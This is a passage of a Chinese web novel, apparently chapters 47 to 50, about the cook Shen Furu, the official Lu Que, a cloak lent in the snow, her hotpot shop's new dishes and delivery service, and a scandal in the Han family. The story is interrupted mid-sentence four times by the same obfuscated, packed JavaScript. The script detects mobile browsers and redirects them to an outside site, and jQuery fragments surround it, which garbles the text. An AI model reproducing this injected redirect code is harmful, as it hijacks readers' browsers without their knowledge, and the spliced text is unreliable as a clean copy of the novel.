沈芙蕖本想快步走回芙蓉盏喝口热茶，一听周寺正的声音，停下了脚步。 周寺正快步走到沈芙蕖面前，拦住了她的去路：“沈娘子今日可是来寻我的？实在是公务缠身，怠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16365578|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢了怠慢了！这天色已晚，娘子想必还未用晚饭吧？有什么事，咱们慢慢说……若不嫌弃，就在我们这大理寺的膳房凑合一顿如何？也让我们略尽地主之谊，赔个不是。” 沈芙蕖此刻心绪复杂，只想尽快离开这是非之地，连忙推辞：“周大人言重了，我怎敢叨扰。寺中公务繁忙，我就不……” “诶，沈娘子这就太见外了！”周寺正不容分说地打断她，笑呵呵地将话头一转，“说起来，自春宴之后，还未曾好好谢过娘子。我们陆大人也常说，定要寻个机会，正经设宴答谢你呢。” 说罢，他笑吟吟地朝陆却瞥了一眼。陆却闻言，面上虽不显露，心中却微微一怔，自己何时说过这话？ 然而他终究并未出声否认。 周寺正觑着他这般神色，见他并无驳斥之意，心下更笃定了几分，暗忖无论如何也得将沈娘子留下。 沈芙蕖却摇头道：“银货两讫，差事交割清楚，本是应当。要说感谢，民女更该谢周大人。那日在陆府，多亏您请来崔氏夫妇，才为我解了围。” “哎呦，这可不敢当！”周寺正连忙摆手，笑得更深，“那都是陆大人派小厮传话，叫我务必寻个由头早些结束宴席。至于崔家官人，我只是碰巧遇上了……那也是沈娘子平日待人宽厚，人家才愿意出手相助啊！” 这番话倒让沈芙蕖有些意外了。她抬眼望了陆却一眼，心下犹疑，辨不出这其中真假。 “好了好了，大人，娘子，外头天寒地冻的，有什么话咱们进去慢慢说！”周寺正一边搓手呵着白气，一边殷切相邀。 沈芙蕖见周寺正态度诚恳，言辞恳切，再想到方才陆却那冰冷的模样，心中也不免生出和一丝不易察觉的赌气，为何要因他而避嫌？她偏要留下。 于是，她微微颔首，语气缓和下来：“周大人盛情，那我就却之不恭了。” 周寺正闻言，脸上笑容更盛，心里暗自松了口气，连忙道：“好好好！我这就去安排！” 说罢，他几乎是小跑着转身，低声吩咐了身边一个胥役几句，那胥役立刻领命往灶房方向奔去。 周寺正哪里是真准备什么了丰盛筵席，不过是让膳房立刻将大理寺能拿得出手的饭菜尽快整治几样出来。 很快，几样简单的菜肴便被端进了衙署内僻静的值房。一碟切得的酱羊肉、撕好的整只烧鸡，切成大块的炸鲤鱼，一盆热气腾腾的胡饼、一份清炒冬葵、一碗菘菜豆腐汤，另有一小壶烫好的黄酒。 周寺正热情地招呼沈芙蕖入座，“沈娘子也知道的，大理寺的餐食一向简陋。今个只在大理寺简单吃一点，改日，我们再下馆子！” 三人勉强围坐一桌。周寺正谈笑风生，极力活跃气氛，沈芙蕖勉强接过他的话，心思却有些飘远。 陆却面色依旧沉静，目光低垂，偶尔动一下筷子，沉默得几乎让人忽略他的存在。 这顿在大理寺值房里的便饭，气氛着实有些微妙和尴尬。 48. 第四十八章 沈芙蕖也觉得这顿饭吃得颇为艰难。 一来，桌上的菜肴虽算丰盛，却实在不合她的口味。二来，对面还坐着陆却这么一尊冷面煞神，无形中便压得人食欲全无。她只好偏过头去，与周寺正有一搭没一搭地闲话。 “说起乞巧节那日……我曾冒昧去法官巷寻过大人。是我当时思虑不周，未曾提前知会，没给大人和尊夫人添什么麻烦吧？” “没那回事！”周寺正呷了一口黄酒，絮絮叨叨地打开话匣子：“说起来，叫沈娘子见笑。我与贱内成婚十五载，平时没少拌嘴吵架。为些鸡毛蒜皮，她怪我总在衙里忙到太晚，冷落了她。我嫌她替我裁的衣裳颜色太鲜亮，穿不出去……没少置气。” 他说着，自己先笑了起来，眼角的皱纹都舒展开：“可这日子过久了就明白，夫妻之间，哪有舌头不碰牙的？关键在于彼此心里都装着对方，知晓对方的性子，也知晓对方那份心意。所以啊，甭管吵得多凶，最后总能寻着个台阶，和好如初。这日子，不就是这么吵吵闹闹，互相惦念着过来的嘛？” 周寺正絮絮叨叨地说着与妻子的往事时，陆却的目光便不由自主地落向了对面的沈芙蕖。 灯下看人，本就添几分柔和。 暖黄色的灯光温柔地覆在她的侧脸上，光线细细描摹着她睫毛的轮廓，顺着鼻梁柔和的弧度滑下，她双颊泛着薄薄的绯色，有淡淡笑意，清清浅浅地漾开，看得人心里也跟着静了下来。 也就看了几眼，陆却迅速收回目光，垂下眼帘，改盯着杯中酒液。 沈芙蕖安静地听着，心中渐渐明了。周寺正并不是在单纯回忆夫妻趣事，而是在借题发挥，暗指她与陆却之间那点不愉快，盼着他们也能寻个台阶，缓和一下关系。 她心下不由失笑，觉得周寺正怕是白费心思了。 她与陆却，算什么呢？权贵和平民？债主与债户？甚至勉强算是熟人？无论哪一种，似乎都远未到需要修补关系的地步。 更何况，陆却此人，心思深沉难测，性情冷肃，实在难以接近。她并无意去揣摩，也更无意愿去靠近。 周寺正见她不语，语气变得更加推心置腹：“说起来，沈娘子年纪也不小了，这般独自支撑，终究辛苦。可有考虑过……寻个良人，彼此有个依靠，知冷知热？” 沈芙蕖闻言，立刻将这股催婚的压力引向了对面一直沉默不语的陆却。 她只对周寺正道：“周大人说笑了。若论年纪，陆大人似乎更长于我？您更该劝劝陆大人赶紧寻位贤妻才是正理。上回在府上见到的那位崔家娘子，品貌家世皆是上乘，与陆大人正是天造地设的一对。” “至于我嘛……倒真没想过那么多。若真要寻，大约也得找个性子开朗些的，有趣些的，能说说笑笑，日子才不闷。最好别太死板，也别整日沉着脸，让人瞧着就心里发怵，话都不敢多说半句。” 她这番话，本是无心，只是顺着周寺正的话头，委婉表达自己对陆却这类男子敬而远之，谁知描绘了一个与陆却截然相反的理想形象。 然而，听在陆却耳中，却字字句句都像是精准的对照。开朗、有趣、说说笑笑、别太死板、别沉着脸……这些特质，让他立刻就想到了总是笑得没心没肺，行事又跳脱不羁的赵清晏。 赵清晏不是比她年纪还小些？整日里没个正形，嬉笑怒骂皆随性而至，不曾有过半分沉稳持重，这种跳脱浮躁的性子，原来能入她的眼。 此话一出，陆却周身的气压无声无息地又低了几度。 他拿起筷子，看似要夹面前那碟羊肉，可筷子尖在盘沿磕碰了几下，颤巍巍怎么也使不上力，连夹了几回，不是滑脱就是偏了方向，一块肉也没捞起来。 他忽然失了耐心，将筷子搁在桌上，岂料没控制好力度，发出“啪”的一声脆响，筷子滚落到了地上，周寺正被这突如其来的动静吓得一哆嗦。 “抱歉，手滑了。”陆却说，“……你们继续。” 周寺正回过神来，干笑几声，试图重新接上之前的话题：“哈哈哈……无妨无妨！说起来，沈娘子这般爽利活泼，将来若寻良配，反倒该找个沉静稳妥的，正好互补，才是圆满呐！” 沈芙蕖说：“世间沉静稳妥的郎君，多半出身清贵，家中规矩繁多的。我高攀不起，也不敢妄想。还是寻个寻常人家，过着简单日子，更自在些。” 陆却心想，赵清晏倒是开朗有趣，可东宫的规矩难道还少了吗？每日起居言行，哪一样不是被无数双眼睛盯着，被无数条宫规框着，还谈什么简单日子？简直是痴心妄想。 不过，他脑中又闪过自己母亲的面容，府中同样无处不在的条条框框，忽然对自己所处环境感到厌烦。 他下意识地抬眼，不满地瞧了一眼还在讪笑的周寺正。若不是这人非要提什么互补良配，自己怎么会越想越憋闷。 周寺正眼看自己一番美意非但没起到缓和作用，反而让气氛更加诡异冰冷，简直欲哭无泪。 他赶紧打了个哈哈，举起酒杯：“哎呀，你看我，尽说些没要紧的！喝酒，喝酒！这羊肉凉了就不好吃了！” 沈芙蕖也感觉到对面那股莫名的低气压，虽不明所以，但也知此地不宜久留。她顺势起身：“多谢陆大人、周大人盛情款待，时辰不早，我不便再多打扰，就此告辞了。” 周寺正连忙也跟着起身，口中说着“喝杯热茶再走也不迟”之类挽留的话，眼睛却不住地瞟向陆却。 见陆却仍兀自坐着，面无表情，周寺正真是恨不得上去推他一把。 情急之下，他突然提高声音道：“哎呀！这外头天寒地冻的，沈娘子穿得如此单薄，怕是刚出门就要冻坏了！” 沈芙蕖推开门，果然寒风裹着大雪朝她扑面而来，忍不住打了一个喷嚏。 “不碍事，我走走就暖和了。再不成，周大人借我个汤婆子用用。”沈芙蕖并不在意这点严寒，笑着揉了揉鼻子。 周寺正有意拖延时间，说道：“有有有！汤婆子自然是有的！只是我平日也不大用，不知收在哪个箱笼里了。沈娘子且稍等片刻，我这就去值房里好好找一找！” “不方便就算了，我倒也不是很冷。”沈芙蕖应道。 “那怎么成！”周寺正连忙摆手，语气不容拒绝，“这天气，在外头稍站片刻都要冻透的！你们姑娘家身子更单薄，更禁不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16370852|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住寒，你且等着，我很快就来！” 沈芙蕖见他坚持，也不再推辞，索性倚门而立。 白天刚化的雪水此刻又凝固成了冰锥，她用手轻轻一推，冰锥便砸落在地上，她觉得有趣，便漫不经心地玩了起来，借此消磨等待的时光。 突然，陆却走到沈芙蕖面前，胳膊上还搭着那件厚实暖和的毛领斗篷。 下一刻，带着他体温的斗篷，便不由分说地披在了沈芙蕖的肩上。 沈芙蕖彻底愣住了，第一反应便是抗拒。这料子一看就价值不菲，弄脏了怎么办？洗一次得多麻烦？还得找机会送回来归还，岂不是又要见面？太麻烦了！ 然而陆却根本不容她拒绝，他找到斗篷前襟的系带，微微俯身，近乎是环抱着她的姿态，仔细地为她系上带子，他的动作有些生硬，还带着点不容置疑的霸道。 斗篷用料很足，确实很暖，好像瞬间就将寒风隔绝在外，这突如其来的温暖，让沈芙蕖再也说不出拒绝的话。 她僵硬站在原地，乖乖等着带子系好，而陆却冰凉的手指指尖，不经意地擦过了她颈侧温热的肌肤。 那一瞬间，两人都如同被细微的电流击中般，同时僵了一下。 沈芙蕖能清晰地感受到他指尖冰冷的温度，以及那略带粗糙的触感。而陆却，则触碰到了那细腻得不可思议的触感。 空气仿佛凝固了。 “还没……好嘛……”陆却比她高出一个头来，沈芙蕖也不敢抬头，视线所及仅是他胸前的衣襟，看不到他的表情。 陆却低沉的声音从她上方传来：“马上好了……斗篷有些大了，我系紧一点，免得进风。” 陆却的斗篷是很好闻的，想必这些衣裳每日都有名贵香料熏染，散发着雨后沉沉的木头香气，清冽而特别，令人安心。 沈芙蕖张了张嘴，最终却什么也没说出来，只好低低道了声：“……多谢大人。” 周寺正抱着一只铜汤婆子匆匆赶回，才跨进廊下，便猛地收住了脚步。 只见漫天飞雪之中，陆却正微微倾身，仔细地为沈芙蕖系着斗篷的系带。他身形挺拔，将沈芙蕖的身影几乎全然笼在自己的影子里。 而那件他平日极为爱惜的厚斗篷，此刻正严严实实地裹在沈芙蕖身上，沈芙蕖微垂着头，姿态是罕见的安静与乖顺。 周寺正一时看得怔住，旋即心下又是欣慰又是好笑。 他这位上峰，断案如神，心思缜密，可谓多智近妖。偏偏在这男女情事上，却像是被堵住了窍，懵懂得可怜。 明明待这沈娘子与众不同，关切之心溢于言表，自己却浑然未觉，只怕还以为是出于公义或怜悯。 今天沈芙蕖那般干脆地连本带利还清了钱款，想斩断牵扯，两不相欠。日后若再无债务往来，依这两人一个冷情、一个避嫌的性子，还能有什么交集？ 幸好这榆木疙瘩还不算笨到了底，至少还晓得天冷了要给人家姑娘披件衣裳。 他于是故意在廊下踩出些声响，清了清嗓子，这才抱着那其实并没多大用处的汤婆子，笑呵呵地走上前去：“哎哟！看来是我多此一举了！还是陆大人想得周到！” 49. 第四十九章 沈芙蕖披着陆却的斗篷从大理寺出来的情形，很快便被陆夫人安插在附近的眼线瞧见，一字不落地报回了陆府。 陆夫人闻讯，顿时心急如焚，遣人再度前往崔家，言语间更显急切，只盼能尽快将两家的亲事敲定下来。 然而，此番崔家给出的回复却变得模棱两可，再不复先前那般热络。只推说“婉如年纪尚小，还想多留些时日陪伴父母”云云。 陆夫人一听，当即气得摔了茶盏：“什么叫年纪还小？！这分明是推托之词！难道我儿还配不上她一个崔家女不成！” 在她看来，陆却相貌堂堂，年少有为，身居大理寺要职，是汴京城里多少待嫁娘子梦寐以求的佳婿，合该被争抢才是。 可这几年来，自她开始张罗儿子的亲事起，才发觉，现实远非她所想。陆却的行情，似乎并不如她预期中那般火热…… 正如崔彬规劝崔婉如时说的话：“陆却其人，相貌、家世、才干，样样皆是上上之选。然则，挑选夫婿并非遴选人才，光看这些有什么用？终究要寻一个心意相通的。” “你且细想，上次陆府梅宴，他可曾主动与你说过话？目光在你身上停留过几次？若他当真对你有意，怎会至今毫无表示？连母亲前番寿辰，也未见他有半分问候之意传来。” 嫂嫂郑氏觉得丈夫话说得太过直白，恐伤了姑娘家的颜面，便在一旁温言补充：“大理寺公务繁剧，陆大人一年到头，没有几日得闲归家。小妹若嫁过去，便是陆府的当家主母，一应大小事务皆需你劳心劳力，他怎会有时间与你吟风弄月……” 连崔婉如的母亲也道：“婉儿，你那未来的婆母，可是易与之辈？听娘一句劝，莫要嫁入那孤儿寡母相依为命之家。这等婆母，往往将儿子视作眼珠性命，断容不得旁人分去半分注意，最是难相处！你自小被家中娇养，何曾受过这等委屈？万万要想清楚。” 崔婉如虽是个有主见的，但家人这番话句句在理，更是点醒了她心中隐忧。 于是，这门原本被陆夫人寄予厚望的亲事，便在崔家的缄默与权衡中，悄无声息地没了下文。 陆夫人百思不得其解，为何崔家对这门亲事的态度前后变化如此之大。 经陆惠善在一旁提醒，她才意识到，崔家的疏远正是从自家那场梅宴之后开始的。这笔账，她自然而然记在了沈芙蕖头上。 沈芙蕖将那件斗篷带回芙蓉盏后，心中始终记挂着清洗之事。 于是特意请了云锦记绸缎庄的老师傅前来辨识料子，也好讨个专业的清洗法子。 老师傅仔细检视了一番，沈芙蕖才知道这外层面料是上好的织锦，寻常风雨侵不透。里衬用的是素软绸，内里填充的是顶级的蚕丝絮，毛领是貂皮。 老师傅建议：“斗篷看着洁净，实在不必大动干戈地拆洗。尤其是这貂皮毛领，万万沾不得水。若只想除尘去味，不妨等下一场雪时，取干净的新雪，在表面擦拭几遍。雪能吸附灰尘，散去杂味，不会伤及料子根本。” 沈芙蕖听罢，心下稍安。如此看来，倒省了许多麻烦。她便真将那斗篷小心收好，静待汴京城的下一场落雪。 还没等到下雪，沈芙蕖有些惆怅起来，还完了欠款，手上结余便不多了。再加上关了卤菜摊，铺子的进项肉眼可见地减少了三分之一。 沈芙蕖面上不显，心里却如汤沸般，眼看着过年了，店里每一位伙计都眼巴巴等着她再发一笔赏钱。于是，她将全部心力投入了新菜品的研创上。 除了镇店的羊肉汤锅，她决意再推出两款风味迥异的新锅子，一为酸汤锅，二为菌菇锅。 酸汤锅其魂在于酸。沈芙蕖取江南糯米，熬成稠粥，置于陶缸中，加入从西南买的酸浆引子，密封置于灶台余温处，静待其自然发酵三五日，待其渗出滋味醇厚的米酸汤，此乃汤底酸味之源。 取此酸汤为底，注入现熬的鸡骨猪骨汤中。再加入捣成泥的茱萸酱提供霸道的辛辣，姜片、蒜瓣爆香提味，最后撒入一大把黄豆芽增添鲜甜。熬煮片刻，一锅金红的酸汤锅底便成了。 每份酸汤锅都有搭配好的配菜，鲤鱼片、羊肉片、豆腐泡、菘菜、笋片，若是想吃得更酸，还有腌好的酸菜。这一套比羊肉汤锅便宜，想吃别的配菜也可以单点。 菌菇锅的根本在于鲜。沈芙蕖不惜成本，大量购入上等干香蕈、干木耳等原料。 将各类干菌仔细清洗后，用温水泡发，泡发后的菌菇水滤净杂质继续使用，这是令汤底鲜味的精华，绝不浪费。 将泡发的菌菇与冬笋片、黄花菜若干，黄豆芽一把、红枣三五颗一同放入清水锅中，只加少许盐，绝不添加任何荤腥，以文火慢炖至少两个时辰，直至将所有山野的精华都熬入汤中。 得到的是一锅鲜香逼人的纯素菌菇高汤，吃的是一个纯粹自然的本味。 另外菌汤锅底还有升级版，那便是加入从蜀地运来的竹荪，此锅价格昂贵，但口感脆嫩爽滑，极其鲜美。 菌菇锅的配菜是鸡肉片、猪肚片，另有海带苗、鲜豆腐、豆腐皮、面筋、嫩菜心。 两款新锅一经推出，立刻以独特的风味吸引了众多食客。尤其是酸汤锅，酸辣酣畅的滋味，在湿冷的汴京冬天里，成了许多人念念不忘的存在。 沈芙蕖发现，食客们酣畅淋漓地吃至锅底见空，常觉意犹未尽。 此时，许多人便会自然而然地招呼伙计，从楼下面条档口另买一份现制的鲜切面，就着锅中那汇聚了百物精华的浓郁残汤，略一滚煮，便吸饱了滋味，吃得心满意足。 沈芙蕖索性将主食也纳入了锅物套餐之中。每位点锅的客人，皆可在鲜面条与粉丝之中任选其一，作为汤锅的收笔。 如此一来，芙蓉盏店内本就有限的座位顿时变得捉襟见肘，二楼雅座早已预订一空。 后来者见无空位，竟也毫不介意，索性搬张板凳，就挤在吃面条的客人旁边，支起小锅，吃得满头大汗，不亦乐乎。 再到后来，连店堂里也挤不下时，便有那不拘小节的食客，见院中开阔，便劳烦伙计搬张小桌到院里。 于是，芙蓉盏的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16376630|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院子里，竟也三三两两摆开了几张方桌。虽是天寒地冻，但锅中腾起的滚滚热气与众人喧闹的笑语声交织在一起，衬得这小院格外温暖热闹。 生意虽好，但难题又至。天寒地冻，许多富足人家，或是家有老人幼儿的顾客，愈发不愿顶风冒雪出门用餐。 沈芙蕖在招待客人时，说道：“若您家用着锅子好，又不想挪步，只需将想吃的锅子种类，要加的配菜写个条子，放入回家路上任意一个灯台下的木盒中。敝店伙计自会按图索骥，提着生鲜食材与烧好的锅底，上门为您现场整治，包管和店里吃着一个味。” 此举一出，立刻在汴京城中引起轰动。这简直是前所未有的便利，那些灯台下的木盒，顿时变成了实实在在的订单箱。 芙蓉盏的伙计们提着食盒，穿梭于大雪纷飞的汴京街巷。 芙蓉盏的汤锅生意因这送锅上门的服务而更加火爆，甚至吸引了许多原本并非芙蓉盏常客的深宅大户。 大双揉着酸痛的胳膊，向沈芙蕖叫苦不迭：“掌柜的，掌柜的！人手实在周转不开了！年后再不招些新人，咱们这几个老伙计可真要累趴下了！” 小双心思更活络些。他们按单抽取小费，自是盼着活儿越多越好。 于是私下里将一些路途遥远的订单，偷偷转包给了相熟的其他脚夫，自己从中赚个差价。这等自作主张的事，他是不敢让沈芙蕖知晓的。 眼见生意火爆如此，铺面狭小已成掣肘。 沈芙蕖便与张澈商议着年后的扩张之计。她心中有两个设想。 要么是索性租一个比现下芙蓉盏更大更敞亮的铺面。 要么，则是将紧邻芙蓉盏的铺子也盘下来，两店连为一体。 沈芙蕖内心自是更倾向第二个方案。搬家重整，兴师动众又耗神耗财。只是这邻铺是一家新开不久的香饮子铺，生意瞧着也不差，人家岂能说搬就搬？岂肯轻易转让？ 张澈领了意思便去办事。他沿着草市坊及周遭街巷打探了一圈，将几处可能出租、位置尚可的铺面都记了下来，心中默默列出了几个备选的方案，回来一一禀明了沈芙蕖。 沈芙蕖听罢，未立即决断，只默默取来账本，在扉页空白处记下了几个关键词：年后、招工、新铺。 再数一数，还有半个月，真的就过年了。 新锅子卖得正好时，市井间开始流传起一些风言风语，无外乎是说沈芙蕖曾在陆府宴席上做了一道发臭的菜，险些酿成大祸，陆夫人宽宏大量，才给了她台阶下云云。 几日之后，芙蓉盏一楼面馆菜单上，又多了一道新的浇头——徽州臭鳜鱼浇头。 沈芙蕖在大红纸写了说明贴在墙上：“本店新推徽州古法腌鳜鱼浇头，风味独特，闻之微异，食之鲜醇，乃徽州一绝。好此味者，谓之香，不好者，谓之臭。客官可敢一试？” 这道浇头立刻又成了话题，猎奇者纷至沓来。 沈芙蕖趁机和与张记鱼行的掌柜熟络起来，言明日后所需臭鳜鱼，皆从张记采购，张掌柜自然乐得答应。 50. 第五十章 张澈心下盘算，那鳜鱼金贵，若做成面浇头，定价高了无人问津，定价低了定然血亏，便提醒道：“掌柜的，这鳜鱼成本太高，若只作浇头卖，恐怕难以回本。” 沈芙蕖闻言却只是莞尔一笑：“谁指望它真能赚钱？不过是立个招牌，叫满汴京的人都看清楚，我沈芙蕖在陆府梅宴上做的，究竟是不是上不了台面的馊菜，顺道，也替张记鱼行扬一扬名。” 正说着，程虞风风火火地回来了。 她刚送完一单酸汤锅，是城中胡员外家点的，不仅锅底要得足，还特地加了一斤竹荪、一斤干笋，食材多得她不得不牵着毛驴驮过去。 归来时早已过了午膳时辰，店中客人散去，伙计们正围坐一处吃饭。 “你们知不知道——”程虞人未到声先至，迫不及待便要分享方才的见闻。 张澈见她回来，忙起身去灶上为她盛热汤。 程虞咕咚咕咚先灌了半碗汤，这才一抹嘴，绘声绘色地说道：“你们猜怎么着？我刚把锅子送进他们家灶房，正跟厨娘交代汤底怎么兑水、料何时下，忽然进来一个穿戴极气派的一等丫鬟！怀里抱着这么粗的一根野山参！”她边说边用手比划出一个惊人的粗细。 众人见她比划得夸张，都笑了起来，说她少见多怪。 程虞急得直撇嘴：“真的！不骗你们！好大一棵参！那丫鬟吩咐厨娘切下几片，说要投进酸汤锅里一同炖煮呢！” 她说着，好奇地转向沈芙蕖：“沈姐姐，你说……这人参炖出来的酸汤锅，会是个什么味儿啊？” 沈芙蕖笑着轻轻摇头：“这我倒真未尝过。” 一旁的大双听了，顿时挺起胸膛，拍了拍道：“都说人参是补虚扶弱的！像咱们这样身强体壮的，吃了只怕燥得慌，根本用不着！” 程虞点点头：“是呀，我听灶房的下人窃窃私语，说员外家的二姑娘害喜，就想吃点酸的，这才买了我们家的酸汤锅……放人参，大概也是为了补身子吧……” 这话听着倒也合理，可张澈突然反应过来，结结巴巴地说道：“阿虞，你是不是听错了？胡员外家的二姑娘不是还待字闺中吗？你听错了吧，是大姑娘吧？” 程虞脸色微微一变，连忙改口：“对对对，我说错了……是大姑娘……” 这么一说，众人又低头继续吃饭，还盘算着吃完赶紧出去送几单汤锅，好多挣几个铜板。 只有沈芙蕖听出了些许异样。她一向要求每个汤锅送达时，都必须与主家当面核对菜品和数额，确认无误后，由接收人在签收单上按下指印。 这样既避免对方事后对价格有异议，不合适的食材也能及时调换，最重要的是能防止推诿扯皮。 既然对方是孕妇，可下单时却没有特别备注，万一汤锅里有什么孕妇忌用的食材，出了事该怎么办？ 以后这方面还要注意，签收时问问有无特殊人群，有无其他禁忌。 “签收单没忘带吧？”沈芙蕖问道。 程虞扬了扬手里的单子：“放心！绝对忘不了！” 沈芙蕖把她拉到一旁，压低声音问：“你到底听清楚了没有，究竟是大姑娘还是二姑娘？我记得胡员外的大姑娘上个月才成的亲，我们不是还去街上看热闹了？这才不到一个月，怎么就害喜了？” 原来，程虞送完餐正拎着食盒往外走，偶然听到灶房几个厨娘嚼舌根，说什么害喜严重、月份不小、员外气急败坏、上韩府理论…… 这些话她听得模模糊糊，唯有“二姑娘”三个字听得特别真切。 沈芙蕖敏锐地嗅到了一丝不寻常的气息，不禁感慨程虞这孩子实在单纯，这么多关键信息，她居然只注意到了人参…… “好了阿虞，我们是送餐的，最要紧的是保证服务质量。不管听到什么、看到什么，都要保持镇定，更不能随便外传。明白吗？” “嗯嗯，我知道啦。”程虞并没多想，欢快地跑回去喝汤吃面了。 沈芙蕖想，这汴京城里……能有几个韩府？ 不就那一个么。 她不由想起周寺正之前跟她聊起的轶闻。韩相有两个儿子，都是甄姨娘所出。长子早夭，剩下的那个自然被宠得无法无天。 而且韩彦相貌俊美又风流倜傥，在外没少沾花惹草。 沈芙蕖心里隐隐有些不好的猜测。 沈芙蕖本不想多管闲事，却仍忍不住想，若真有这桩隐情，陆惠善岂不一嫁过去，就要面对一个突如其来的私生子？ 陆却的婚事说散就散，倒是陆惠善的亲事，进展得出奇顺利。 甄姨娘年前就亲自登门了两回，对陆惠善越看越满意。两家一拍即合，很快将婚期定在了来年二月初二龙抬头那天。 梅宴一过，陆却便借口年底公务繁忙，再未踏进过陆府大门。 陆夫人心中虽有不悦，转念一想，他不回来反倒清净，于是索性将全副心思都投在了陆惠善的婚事上。 为免陆惠善将来被韩家看轻，除了早已备好的那份，陆夫人又特意从自己的私房体己里挑出几件贵重首饰，悄悄添进了嫁妆单子。 正当府中上下为喜事忙得团团转时，陆惠善却突然哭着跑进陆夫人房中，软软跪倒在地，话未出口，泪先落了下来。 “母亲可知……那韩彦、韩彦他……早就和胡员外家的二姑娘有了苟且！如今……听说那孩子都已六七个月了……想打都打不掉了……”她泣不成声，肩膀也一抽一抽的。 陆夫人心下大惊，急忙派人暗中查探。几经辗转，终于拼凑出真相。 原来是韩彦玷污了人家姑娘清白，事后却翻脸不认账。 胡家二姑娘自此终日神思恍惚，等胡夫人察觉异样时，她已有五个月身孕。 胡员外屡次上门欲讨个说法，盼着在丑事泄露前促成婚事，却回回吃闭门羹。家丑不敢外扬，给胡员外气得一病不起。 细细算来，那孩子确实已有七个多月。 婚事无望，落胎又恐闹出人命，胡员外无奈之下，只好打算招个上门女婿。 陆夫人恨得咬牙切齿：“怪不得……韩家急着要把亲事定下……” 她毕竟是经过大风大浪的人，心下立刻明白，未娶正妻，房里就弄出个孩子，自然要赶紧找个姑娘过门。否则等庶长子一生，还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16382100|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁肯把女儿嫁进韩家？ 陆夫人气得心口发堵，可她不是气韩彦荒唐，反倒暗恨那胡二姑娘蓄意勾引。 陆夫人思来想去，她并不打算退婚。 退亲？那太便宜韩家了，而且陆惠善也会成为汴京城的笑柄，再难说到好亲事。 既然韩家理亏，急着要惠善过门去挡这丑事，那这便是天赐的良机。 腊月二十九，汴京城里的年味已浓得化不开了。 “阿虞，左边再高些……对对，正好！”张澈扶着梯子指挥。 程虞踮着脚，小心翼翼地将新写的的春联贴上门框，上面写着“五味调和乾坤味，三鲜蒸煮日月新”。 相熟的老主顾从门前经过，笑着探头打声招呼：“沈掌柜，过年好呀！初几开张？就馋你们家那口酸汤呢！” 沈芙蕖笑着回应：“过年好！初六，初六准开！给您留着头锅的汤！” 灶上，一大锅卤汁正“咕嘟咕嘟”地冒着泡，浓郁的肉香伴着八角和桂皮的辛香，温暖地充盈着整个芙蓉盏。 里面沉浮着扎成卷的肥肠、切成块的豆干、圆滚滚的鸡蛋，这都是沈芙蕖为自家和留店过年的伙计准备的年货。 另一口大锅里熬着奶白色的高汤，是年夜饭桌上那锅暖胃暖心暖团圆的老火羹的底子。 沈芙蕖和伙计们说好了，年三十当天要先在芙蓉盏店内吃顿饭。 与汴京城内万家灯火的喧嚣喜庆不同，大理寺的廨房内，烛火通明，只映照出陆却和周寺正两人沉静的身影和满案的卷宗。 陆却端坐于案后，指尖划过最后一卷文书的边缘，将其缓缓合上。 动作间带着一种如释重负的疲惫，却又被严格的仪态约束着，不见散漫。 他对面，周寺正正一丝不苟地给一叠整理好的卷宗系上绸带，并在标签上落下端正的楷书。 周寺正的声音带着公务已毕的稳妥感：“如此，大兴四年赝币案的卷牍，便算是全部厘清了。” 陆却点头，窗外隐约传来极遥远的爆竹声，衬得室内更加寂静。 半晌他才说：“周大人先回去罢，想来家中妻儿早已等候许久。” 周寺正略一迟疑，还是说道：“今个是除夕了，大人还不回府？寺中庶务已毕，剩下的，年后再理不迟。” “还有些手尾需要斟酌。”陆却找了个无可指摘的借口，语气平淡无波，“再者，京师重地，年节下更需警惕，寺中总需有人值守。周兄家中有宴，且先回吧，代我向你夫人问安。” 周寺正何等通透之人，闻言便知陆却心有别意，并非全为公务。 他不再多劝，起身拱手：“既如此，下官便先行告退。愿大人……守岁安宁。” 陆却颔首回礼：“一路顺风。” 周寺正退了出去，细心地为他掩上了房门。 